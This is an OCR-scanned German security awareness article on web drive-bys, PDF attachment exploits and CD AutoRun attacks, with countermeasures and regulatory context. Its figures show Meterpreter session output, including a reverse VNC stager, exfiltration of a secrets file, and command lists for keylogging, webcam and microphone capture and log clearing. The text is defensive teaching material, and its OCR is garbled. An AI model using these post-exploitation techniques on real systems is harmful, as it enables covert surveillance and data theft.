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Uber den Umgang mit Unsicherheit
Websurfen, E-Mailanhinge und mobile Datentriager

Dr. Hubert Feyrer

Anhand der aktuellen Sicherheits-Situation werden die Begriffe »Sicherheit« und »Unsi-

cherheit« diskutiert, und drei Beispiele fiir Unsicherheit exemplarisch gezeigt. Der Um-

gang mit Unsicherheit wird mit Hilfe von von praktischen GegenmafSnahmen illustriert.

Im Fazit wird geschlossen, daf$ Sicherheit nicht allein durch eine rein technische Losung
herbeigefiihrt werden kann.
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Einleitung

Laut dem diesjahrigen »Symantec Inter-
net Security Threat« Report ist Deutsch-
land der bevorzugte Logistikstandort fiir
Cyberkriminelle, und von der florieren-
den Schattenwirtschaft ist Spam noch
das kleinste Ubel!, jedoch trotzdem mit
entsprechender Reaktion?3.

Diese und viele dhnliche Nachrichten
lieSt der Interessierte tagtdglich, in va-
rilerender Detail- und Emotionstiefe.
Doch was bedeutet dies fiir den ein-
zelnen Anwender? Er ist bedroht durch
viele schreckliche Dinge, aber wie kon-
kret sieht dies fiir ihn aus? Fiir ihn,
und auch fiir den bdsen Angreifer, der
seinen Rechner kompromittiert und in
einen Zombie verwandelt der dann als
Teil eines Bot-Netzes agiert? Wahrend
die »Cloud« mit Firmen wie Sony® und
Amazon®” in aller Munde ist, weiss man
selbst herzlich wenig von dem was ei-
gentlich der eigene Rechner so treibt.

Jeder kennt die Situation daf3, man beim
Surfen im Web schnell von der digita-
len Autobahn auf die Landstrasse ge-
rat, und von dort im Rotlichtmillieu lan-
det. Ausreichend Stammtischgeschich-
ten von fiesen Mitbringseln aus eben
diesem schrecken zwar vermeintlich ab,
aber was geschieht im digitalen De-
tail?

Nach einer Diskussion der Begriffe »Si-
cherheit« bzw. »Unsicherheit« wird im
Folgenden an drei Beispielen gezeigt,
wie man Opfer eines Hacking-»An-
griffs« wird (wobei hier eher das Pas-
siv zu gebrauchen ist, da in allen Fillen
die Probleme erst durch Aktionen des

Symantec Corp. (2011)

Heise Security (2011b)
Computerwoche (2011)

Spiegel Online (2011)

Heise Online (2011)

ZDNet (2011)

Financial Times Deutschland (2011)

N O U W

Benutzers verursacht werden, er sich al-
so quasi selbst ans Messer liefert), wie
sich dies fiir den vermeintlichen Angrei-
fer darstellt, und auch welche Gegen-
mafiSnahmen v.a. im Firmenumfeld wirk-
sam sind.

Definition

Akademisch betrachtet existiert eine
Vielzahl von Definitionen fiir den Be-
griff »Sicherheit«. Poguntke (2010, S. 4)
sieht IT-Sicherheit als den Schutz von In-
formationen und Kommunikationssys-
temen. Die Norm ISO/IEC 61508 fir
elektrische, elektronische und program-
mierbare elektronische (E/E/PE) Sys-
teme spricht von einer »Freiheit von
unvertretbaren Risiken«®, und Bromba
(2011) definiert »Sicherheit := 1 - Risi-
ko«.

Der im Zusammenhang mit Sicherheit
immer auftauchende Begriff des »Risi-
kos« stammt urspriinglich vom griechi-
schen Wort fiir »Gefahr«®, und ist somit
naturgemaéss mit negativen Ereignissen
verbunden. Oft wird »Risiko« auch iiber
die Eintritts-Wahrscheinlichkeit solch
negativer Ereignisse bestimmt.

Sicherheit ist also verbunden mit ne-
gativen Ereignissen. Als Gegenteil ist
»Unsicherheit« die Negation von Si-
cherheit, also die Abwesenheit von Si-
cherheit bzw. wird Unsicherheit durch
das Vorhandensein negativer Ereignis-
se oder solche auslosender Faktoren be-
stimmt. Oder eben, daf$ die Wahrschein-
lichkeit, dafs etwas Negatives eintrifft,
relativ hoch ist. Im Umkehrschluss fiihrt
also die Existenz negativer Aspekte zu
einem Zustand der Unsicherheit, dem
durch Mafinahmen gegen diese Aspekte
begegnet werden kann.

8 ISO 61508 - Functional Safety of Electri-
cal/Electronic/Programmable Electronic
Safety-related Systems (1986)

9  Wikipedia (2011c) »Risiko«
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Abbildung 1: Ansurfen einer praparier-
ten Webseite

Unsicherheit an drei Beispielen

Nach der allgemein und abstrakt ge-
haltenen Definition von Sicherheit bzw.
Unsicherheit, von negativen Aspekten
und Gegenmafinahmen hier im Folgen-
den drei konkrete Beispiele.

Stolperfalle beim Websurfen — Web
DriveBy

Eingangs wurde das Bild des digitalen
Rotlichtmillieus benutzt. In der Praxis
muss die Umgebung nicht in rétliche To-
ne getaucht sein, damit man sich beim
Surfen im Web Probleme zuzieht. Auch
Foren, manipulierte oder extra in hin-
terlistiger Absicht aufgesetzte Webseiten
mit vermeintlich gutgemeinten Inhalten
konnen beim Surfen Daten an den Web-
browser liefern, die dieser nicht korrekt
verarbeiten kann. Als Folge von Buffer
Overflows und &dhnlichen Defekten in
Anwendungen kann so ohne dem Zutun
des Benutzers Schadcode geladen wer-
den, der dann sein Werk verrichtet.

Die Abbildungen zeigen hier exempla-
risch eine Browser-Sitzung, die auf eine
speziell prdparierte Webseite surft (sie-
he Abbildung 1). Dort angelangt ver-
schluckt sich der Browser, baut eine Ver-
bindung zum wartenden Angreifer auf
und 14dt Schadcode nach, der sich auf

Sending stage (749056 bytes) to 192.168.56.101
Meterpreter session 2 opened (132.168.56.102: 4444
Session ID 2 (192.162.56.102:4444 -> 192.168.56.14

Current server process: iexplore.exe (384)
Spewning = notepad.exe host process. ..
Migrating into process ID 3844

New server process: notepad.exe (3844)

Abbildung 2: Laden von Schadcode

msf exploit( t) > sessions -1 8
Starting interaction with 8...

meterpreter > run vnc -r 192.168.56.102
Creating a VNC reverse tcp stager: LHOST=192.168.56.102 LPORT=4545)
Running payload handler
VNC stager executable 73862 bytes long

Uploaded the VNC agent to C:\Users\vadmin\AppData\Local\Temp\Low\MFOH
leted manually)

Executing the VNC agent with endpoint 192.168.56.102:4585%m,
meterpreter > NC Server session 9 opened (192.168.56+102:4545 -> 19
on Apr 11 1 op
SRS |  htp://192.168.56.102/EUQHG.htmi - Windows Internet Explorer
Enabling Tid
No authentid (S AGEDESIES
Authenticat

192168.56.102 - 4| X
Favoriten e ) -

Bl @ hetp:/192:168 56.102/EUQHG e BB - =

Abbildung 3: Ausspionieren des Opfers

dem Opfer des Rechners als vermeint-
lich harmloser Texteditor »Notepad.exe«
tarnt, wie in Abbildung 2 zu sehen ist.
In Wahrheit kann durch diesen Schadco-
de alles Mogliche geschehen - z.B. wie in
der Grafik gezeigt ein Ausspionieren des
Opfer-Rechners mittels Remote Terminal
Sitzung (VNC, siehe Abbildung 3).

Das Beispiel des Programmierfehlers der
durch einen sogenannten »Exploit« aus-
genutzt werden kann existiert in der
Praxis mannigfaltig. Programme kon-
nen dabei neben Webbrowsern auch E-
Mail Clients!?"1? und Server!*!415 eben-
so wie Spiele!® und vermeintliche Spie-
le’” sein. Dariiber hinaus bieten na-

10 SecurityFocus (2000) (pine)

11 Exploit DB (2004) (gaucho)

12 SecurityFocus (2009) (sylpheed)

13 Heise Security (2011a) (IMail)

14 CheckPoint (2011) (exim)

15 Microsoft TechNet (2011) (Microsoft Exchange)
16 Gentoo Linux (2011) (Quake 3)

17 GamesRadar (2011) (Fake Angry Birds)
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ttrlich auch Infrastruktur-Komponenten
wie Flash'®, Betriebssysteme oder Fra-
meworks zum Erstellen von Websei-
ten ebenso Schwachstellen wie spezifi-
sche technische Anwendungen. Die Lis-
te ldsst sich beliebig fortsetzen, es sei hier
lediglich auf die bekannten Ressourcen
wie Full Disclosure, Bugtraq und CERT
verwiesen.

Im Endeffekt ist die Unsicherheit da-
her grofS. Welche Mafinahmen kénnen
zur Erreichung eines Zustandes der Si-
cherheit ergriffen werden? Der versier-
te IT-Anwender wird im oben genann-
ten Beispiel des Internet Drive-Bys aus
seiner Erfahrung sofort wissen daf} ein
lokaler Virenscanner mit aktuellen Pat-
terns ebenso hilft wie aktuelle Patches
nicht nur fir das Betriebssystem, son-
dern auch den Webbrowser.

Wiahrend der Heimanwender damit gut
bedient ist, warten im Firmenumfeld
weitere Herausforderungen: Wo der
Heimanwender in der Regel nur einen
Browser aktuell halten muss ist dies
im Firmenumfeld komplexer. Mit In-
ternet Explorer, Mozilla Firefox, Google
Chrome und einer langen Liste weite-
rer Browser hat der IT-Admin hier ein
grosseres Feld zu beackern. Wenn er dies
nicht will oder mangels Zeit nicht kann
sollte er sich iiberlegen, welchen Web-
browser er seinen Benutzern ans Her-
zen legt—und welche er ihnen vielleicht
rundweg verbietet, um die Sicherheit
des Unternehmens nicht zu gefdhrden.
Entsprechende Richtlinien sollten hier in
Form von Sicherheits-Policies mit der
Unternehmensleitung abgestimmt wer-
den.

Ebenso sollte die Software-Benutzung,
so sie denn empfehlungsgemifs regle-
mentiert ist, auch entsprechend regel-
méssig tiberwacht werden. Mag der
Betrieb eines Informationssicherheits-
managementsystems (ISMS) nach ISO

18 Lilly (2011)

27001 hier noch mit Kanonen auf Spat-
zen geschossen sein (vgl. ISO 27001,
A.10.4.1: Mafinahmen gegen Schadsoft-
ware), so ist dennoch zu erwarten, dafs
in Zukunft selbst bei Steuerpriifungen
nachgefragt wird, welche technischen
und organisatorischen Mafsnahmen im
Unternehmen existieren, um eben die Si-
cherheit der Unternehmenswerte zu ge-
wihrleisten.

Beim Virenschutz ergibt sich ein &hn-
liches Problemfeld: vor allen in wenig
IT-Affinen Geschiftsbereichen kann der
mittagliche Virenscan die Literatur der
Bild-Zeitung empfindlich beeintrachti-
gen, und was liegt ndher als den Scan
hier zu deaktivieren? Daf$ der Anwender
hier andere Priorititen setzt als der Ad-
ministrator liegt auf der Hand, letzterer
sollte sich hier tiber ein zentral gesteu-
ertes Antiviren-Management Gedanken
machen, das dem Benutzer am Rechner
genau diesen Handlungsspielraum im
Sinne der Unternehmenssicherheit ver-
ringert.

Generell sollte man sich im Firmenum-
feld tiber das, was der Heimanwender
auf einem (1) Rechner an Sicherungs-
mafinahmen macht, tiberlegen, dies zen-
tral vorzuhalten, um Schlupflécher und
Wartungsaufwand zu minimieren. Nen-
nenswert sind hier Firewalls und zen-
trale Virenscanner an Web- und Mailfil-
tern. Bei Webfiltern sollte bedacht wer-
den daf’ aktuell mehr und mehr Websei-
ten via HTTPS verschliisselt tibertragen
werden, und ein entsprechendes SSL-
Scanning verfiigbar sein sollte!”. Selbst-
verstdandlich sollte die Wirksamkeit der
Systeme auch durch regelméssige Kon-
trolle der (anonymisierten!) Protokolle
sichergestellt werden.

In diesem Beispiel hétten also auch Po-
licies gegen Surfen auf fragwiirdigen
Seiten, ein zentrale Webfilter mit Sper-
rung entsprechender Kategorien und ei-

19 Wikipedia (2011e) »SSL-Scanning«
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® Betreff Empfanger 9 Datum ]
« Antworten | ~ | < Weiterleiten | | & Archivieren | | (& Junk | | X Léschen
Thnen
Bewerbungsunterlagen 14:51
Max Mustermann Andere Aktionen ~

Dies ist ein Nachrichten-Entwurf | Bearbeiten...

anbei meine Bewerbungsunterlagen

= Bewerbungsunterlagen.pdf

Abbildung 4: E-Mail mit PDF als
Anhang

Offnen von Bewerbungsunterlagen.pdf

Sie méchten folgende Datei herunterladen:
= Bewerbungsunterlagen.pdf

Vom Typ: Adobe Acrobat Document
Von: mailbox://

Wie soll Thunderbird mit dieser Datei verfahren?

Offnen mit | Adobe Reader 9.3 (Standard) v

@ Datei speichern

Fur Dateien dieses Typs immer diese Aktion ausfihren

OK Abbrechen

Abbildung 5: PDF-Viewer starten

ne zentrale Software-Freigabe die Unsi-
cherheit beim Websurfen wesentlich ver-
ringern konnen.

Vorsicht bei E-Mail-Attachments — PDF
Exploit

Im néchsten Beispiel versetzen wir uns
in die Situation eines Personalbearbei-
ters, der eine Bewerbung per E-Mail er-
halten hat. Aus dem E-Mail-Programm
heraus kann der PDF-Anhang mittels ei-
nes Programms zur Anzeige von PDF-
Dateien angezeigt werden. Auch dieses
Programm wiederum kann sich an der
PDF-Datei »verschlucken« wenn es ent-
sprechend priparierte (PDF-)Daten er-
halt.

Ppierkorb

s Wkl

it s

Sesmst exploit(

Starting interaction with 1...

meterpreter > getuid
Server username: opfer\vadmin
meterpreter > cd sers/vadmin/Desktop
meterpreter Verzeichnis
Creating directory: neues_Verzeichnis

meterpreter > upload neue Datef.

uploading : neue Datei.txt

uploaded  : neue Datei.txt

meterpreter > download Firm

downloading: Firmengeheimnisse.txt -> Firmengeheimnisse.txt
downloaded : Firmengeheimnisse.txt -> Firmengeheimnisse.txt
meterpreter

Abbildung 6: Manipulieren des Opfers

Stdapi: File

system Commands

Command

del
download
edit
getlwd
getwd
lcd
1pwd
1s
mkdir
pwd

rm
rmdir
search
upload

Description

Read the contents of a file to the screen
Change directory

Delete the specified file
Download a file or directory
Edit a file

Print local working directory
Print working directory

Change local working directory
Print local working directory
List files

Make directory

Print werking directory
Delete the specified file
Remove directory

Search for files

Upload a file or directory

Abbildung 7: Befehle zur Manipulation

Stdapi: Networking Commands

Command
ipconfig
portfud
route

Stdapi: System Commands

Command

clearev
drop_token
execute
getpid
getprivs
getuid
Kill

ps
reboot

reg
rev2self
shell
shutdown
steal_token
sysinfo

des Dateisystem

Description
Display interfaces

Forward a local port to a remote service
View and modify the routing table

De:

on

c event log

Relinquishes any active impersonation token.
Execute a command

Get the current process identifier

Get as many privileges as possible

Get the user that the server is running as
Terminate a process

List running processes

Reboots the remote computer

Modify and interact with the remote registry

Calls RevertToSelf() on the remote machine

Drop into a system command shell

Shuts down the remote computer

Attempts to steal an impersonation token from the target process
Gets information about the remote system, such as O

Abbildung 8: Befehle zur Manipulation

von Netzwerk und System
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Stdapi: User interface Commands

enundesktops
getdesktop
idletime
keyscan_dump  Dump the keystroke buffer

keyscan_start Start capturing keystrokes

keyscan_stop  Stop capturing keystrokes

screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop

uictl Control some of the user interface components

List all accessible desktops and window stations
Get the current meterpreter desktop
Returns the number of seconds the remote user has been idle

Stdapi: Webcam Commands

record_mic
webcam_list
webcam_snap

Record audio from the default microphone for X seconds
List webcams
Take a snapshot from the specified webcam

Abbildung 9: Befehle fiir Keylogger,
Screenshots und Webcam

Die Abbildungen 4 und 5 zeigt den Ein-
gang der E-Malil, das Starten eines PDF-
Betrachters sowie erneut den Aufbau der
Verbindung vom Opfer zum Angreifer,
gefolgt vom Nachladen des Schadcodes
auf den Opferrechner. Der Schadcode
tarnt sich wiederum als Texteditor, und
in den Abbildungen 6 bis 9 ist zu se-
hen welche weiteren Moglichkeiten ne-
ben einer Remote Terminal Sitzung exis-
tieren:

Das Dateisystem des Opfers kann belie-
big ausgespaht werden, Dateien und Da-
ten geladen und ggf. nach Manipulati-
on wieder hochgeladen werden. Neben
Manipulation des Dateisystems auf dem
Opfer-Rechner kann auch die Netzwerk-
und System-Konfiguration sowohl aus-
gelesen als auch manipuliert werden.
Wem dies noch nicht reicht der sei auch
auf die Moglichkeiten hingewiesen, daf§
von einer vorhandenen Webcam ebenso
Fotos gemacht werden konnen wie vom
Bildschirm des Rechners, und selbstver-
standlich kann auch das Mikrofon des
Rechners remote angeschaltet werden.
Wiéhrend ein schlauer Angreifer nicht
durch einen unbedachten Neustart des
Systems auf sich aufmerksam macht?
steht dem passiven Belauschen von Un-
terhaltungen im Raum nichts im Weg!

Die Unsicherheit in diesem Fall ist

20 Dang und Ferrie (2010)

dieselbe, doch wie kann ihr begeg-
net werden? Patchen einer Uberschau-
baren Anzahl von Mailreadern und
PDEF-Betrachtern in Verbindung mit ent-
sprechenden Firmen-Richtlinien wurde
bereits ebenso thematisiert wie Viren-
schutz auf Mail-Gateways und Firewall-
Systemen, die die Verbindung zwischen
Opfer und Angreifer blockieren kon-
nen. Letztendlich bleibt die Schwachstel-
le Mensch, die sich auch hier der Ge-
fahren bewusst sein sollte - Phishing-
Nachrichten {iberschwemmen uns heu-
te in der Spam-Flut, und eben hier muss
ein Bewusstsein geschaffen werden, wel-
ches Gefahrenpotential hier lauert®!. Re-
den Sie mit Ihren Kollegen dariiber!

Umgang mit mobilen Datentrigern -
CD AutoRun

Das letzte Beispiel zeigt als Angriffsvek-
tor die Verteilung von vorbereiteten CDs
und USB Sticks, in Zusammenhang mit
dem Verhalten eines giangigen Betriebs-
systemes. Dieses will beim Einlegen des
Datentrdgers den Benutzer unterstiitzen,
damit dieser leicht an die ihm (vermeint-
lich) vorliegenden neuen Kundendaten
gerdt. Da der Benutzer die IT-Landschaft
beobachtet weiss er, daf$ ein Klick auf
den ersten Punkt »Kundendaten 6ffnen«
wie auch beschrieben ein eventuell vor-
handenes Programm installieren oder
ausfiithren wiirde. Entsprechend wird er
wie in Abbildung 10 gezeigt mit einem
Klick rechts-oben das Fenster schlies-
sen, und wie in Abbildung 11 im Win-
dows Exlorer auf das Geridt zugreifen.
Das benutzerfreundliche Betriebssystem
wird jedoch auch hier das hinterleg-
te Programm per AutoRun starten, und
der vorliegende Schadcode wird direkt
ausgefiihrt. Ein Angreifer kann so oh-
ne sich auf Sicherheitsliicken zu verlas-
sen jeden beliebigen Programmcode auf

21 SPAMfighter (2011)
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SEr-

CD-Laufwerk (D:) Neue Kundendaten

.~ Automatische Wiedergabe i

Immer fir Software und Spiele durchfihren:

Programm installieren oder ausfihren

Kundendaten 6ffnen

o
Allgemeine Optionen

Ordner 6ffnen, um Dateien anzuzeigen

Abbildung 10: Fenster mit Vorschldgen
zum Offnen am besten
schliefSen

Favoriten 4 Festplatten (1)

Ml Desktop Lokaler Datentrager (C:)

4 Gerate mit Wechselmedien (1

& Downloads

Zuletzt besucht

Bibliotheken CD-Laufwerk (D:) Neue

Kundendaten

=

= Bilder

=

<| Dokumente

Abbildung 11: Offnen im Explorer star-
tet Autorun-Programm
ebenfalls!

dem Rechner des Opfers ausfiihren, mit
Sicherheitsfolgen wie etwa oben aufge-
zeigt.

In diesem Beispiel war der Benutzer be-
reits durch seine Erfahrung vorgeprégt,
die Erfolgsquote bei diversen vor meh-
reren Firmentoren »verlorenen« USB-
Sticks liegt laut aktueller Studien bei
60%22%.

Abhilfe gegen dieses Einfallstor liefern
in vorderster Front Antiviren-Software
und Firewalls mit der Blockung ausge-
hender Verbindungen ebenso wie die
Schulung aller Mitarbeiter. Dartiber hin-
aus sollten auch Richtlinien bedacht

22 Sawers (2011)
23 Edwards, Kharif und Riley (2011)

werden, die die Benutzung mobiler
Datentrager regeln (die beste Firewall
hilft nichts, wenn Viren durch priva-
te USB-Sticks/Festplatten eingeschleust
werden).

Umgang mit Unsicherheit

Die vorangegangenen Abschnitte haben
eine Auswahl von Schwachstellen auf-
gezeigt, tiber die Anwender und Syste-
me bedroht sind. Mogliche technische
und organisatorische Mafinahmen, die
der aus den Angriffen resultierenden
Schwachstellen begegnen, wurden kurz
diskutiert, und sollen hier gesammelt
dargestellt werden.

Technische Mafinahmen

Auf jeden Fall zu betrachten ist das The-
ma »Endpoint Security«— Antiviren Soft-
ware und Firewalls blockieren Angrif-
fe ebenso wie Patches und aktuelle Be-
triebssysteme?4%.

Sind mehrere Rechner zu schiitzen, so
bietet es sich an, auch an den Zu-
gangspunkten zum Netz entsprechen-
de Schutzmafinahmen zu errichten, und
Firewalls?® sowie Filter fiir Web?” und
E-Mail?® mit Virenschutz zu installie-
ren. Fiir den gesicherten Zugang zum
Firmennetz von auflen sollten speziell
abgesicherte Remote Access und Virtu-
al Private Network (VPN) Systeme wie
z.B. IPsec VPN Clients eingesetzt wer-
den?.

Die Liste der auf dem Markt verfiibaren
Losungen ist hier lang, und soll an dieser

24 lyengar, Sachdev und Raja (2007)

25 Wikipedia (2011a) »Comparison of Operating
Systems«

26 Strobel (2003)

27 Ferrari und Thuraisingham (2005) S. 112ff
28 Schneier (1995)

29 Wikipedia (2011f) Virtual Private Network
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Stelle nicht ndher ausgefiihrt werden.

Organisatorische Mainahmen

In den bisherigen Ausfithrungen wur-
de ebenfalls erwidhnt, daf$ Sicherheit kein
rein technisches Problem ist. Ob der
Vielzahl von Webbrowsern, Betriebssys-
temen, Anwendungsprogrammen und
nicht zuletzt Benutzerverhalten bietet
sich hier die Einschrankung durch Re-
gulierung an. In der Praxis existieren be-
reits eine Reihe solcher Regulierungen in
Form von »Best Practices«, Empfehlun-
gen und Vorschriften bis hin zu Geset-
zen.

Wo das Handelsgesetzbuch noch vage
von den Pflichten der Geschéftsfithrung
als denen eines »ordentlichen Kaufman-
nes« spricht®®, so geht etwa das Bun-
desdatenschutzgesetz hier schon weiter.
Es bestimmt, daf3 sich iiber die reine
Technik hinaus auch Gedanken gemacht
wird, wie der physikalische Zugang
zu Datenverarbeitungseinrichtungen ge-
schieht, und wie Transport bzw. Weiter-
gabe von Daten organisiert und abge-
sichert werden?!. Die im Gesetz recht
allgemein gehaltenen »Technischen und
Organisatorischen Mafsnahmen« kon-
nen Stand heute mit freiem Spielraum
umgesetzt werden. Nationale Vorgaben
wie der »IT-Grundschutz« des Bundes-
amtes fiir Sicherheit in der Informations-
technik (BSI) mit seinen sehr umfang-
reichen Grundschutz-Katalogen®, ver-
gleichbaren Empfehlungen der »800 Se-
ries«®® des NIST Computer Security Re-
source Center in den USA und interna-
tionale Standards wie die »IT Infrastruc-

30 Bundesministerium der Justiz (2011) §86 HGB

31 Bundesministerium der Justiz (2009) Anlage
zu §9 Satz 1 BDSG

32 Bundesamt fiir Sicherheit in der Informations-
technik (2011)

33 National Institute of Standards and Technolo-
gy (2011)

ture Library« (ITIL)** unterstiitzen hier
mit Empfehlungen und »Best Practices«.
Standardisierte Managementsysteme fiir
IT-Service Management® und Informati-
onssicherheit®® kénnen zudem hinzuge-
zogen werden, um die Umsetzung der
Empfehlungen zu kontrollieren, und da-
mit die Standards fiir Qualitdt und Si-

cherheit in Unternehmen zu setzen® .

Es ist abzusehen dafi hier in Zukunft
auch von Seiten der Gesetzgeber wei-
tere Vorschriften kommen. Das Bundes-
datenschutzgesetz ist hier ein federfiih-
rendes Beispiel was den Schutz perso-
nenbezogener Daten betrifft, auch im in-
ternationalen Vergleich. Weitere Beispie-
le existieren mit Vorschriften wie Ba-
sel II mit seinem vorgeschriebenen Risi-
komanagement, und auch US-Gesetzen
wie der Sarbanes Oxley Act (SOX)*® und
der Health Insurance Portability and Ac-
countability Act (HIPPA)®.

Um der wachsenden Anzahl gesetzli-
cher Auflagen der einzelnen Bereiche
Herr zu werden etablieren sich hier wei-
tere Standards, um diese Bereiche zu
prifen und zu iiberwachen. Stellvertre-
tend seien hier die »Control Objectives
for Information and related Technology«
(COBIT) fiir den gesamte Bereich der IT-
Governance genannt*.

Weitere Mafinahmen

Neben den bisher besprochenen tech-
nischen und organisatorischen Dimen-
sionen ist »Sicherheit« noch wesentlich
weiter fassbar. Im Wesentlichen sind da-

34 APM Group Ltd. (2011) (ITIL)
35 ISO/IEC (2005a) (ISO 20000)
36 1SO/IEC (2005b) (ISO 27000)

37 Bayrisches Staatsministerium fiir Wirtschaft,
Infrastruktur, Verkehr und Technologie (2011)

38 Wikipedia (2011d) SOX
39 Wikipedia (2011b) »HIPPA«
40 Audit und Association (2011) (COBIT)
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mit auch Begriffe wie » Angst«, »Risiko«
und »Schutz« verbunden. Diese kdnnen
auch aus psychologischer Sicht betrach-
tet werden, stellvertretend sei hier auf
Schumacher (2009, 2010, 2011) und wei-
tere Verdffentlichungen von Stefan Schu-
macher der Universitit Magdeburg ver-
wiesen.

Im politischen Raum spielt nicht nur die
Gesetzgebung im nationalen Raum wie
oben diskutiert eine Rolle, auch interna-
tional definiert hier die Sicherheitspoli-
tik Verhalten und Aktionen. Dies ist ne-
ben der nationalen Ebene auch bei Ge-
meinschaften wie der Européischen Uni-
on zu beobachten, wie Meine (2011) be-
schreibt.

Fazit

Der vorliegende Text zeigt, dafy Sicher-
heit ein weites Feld ist, und weit iiber
den Bereich der rein technischen Maf3-
nahmen hinausgeht. Organisation bildet
eine wichtige Rolle, und wird zuneh-
mend wichtiger um Auflagen von Ge-
setzgebern und Branchen nachzukom-
men.

Im Bundesdatenschutzgesetz ist heute
bereits ein Datenschutzbeauftragter zum
Schutz von personenbezogenen Daten
vorschreibt. Es ist zu erwarten, dafs der
Gesetzgeber hier in Zukunft eine dhn-
liche Institution bestimmen wird, deren
Aufgabe der Umgang mit Unsicherheit
aller Art sein wird.
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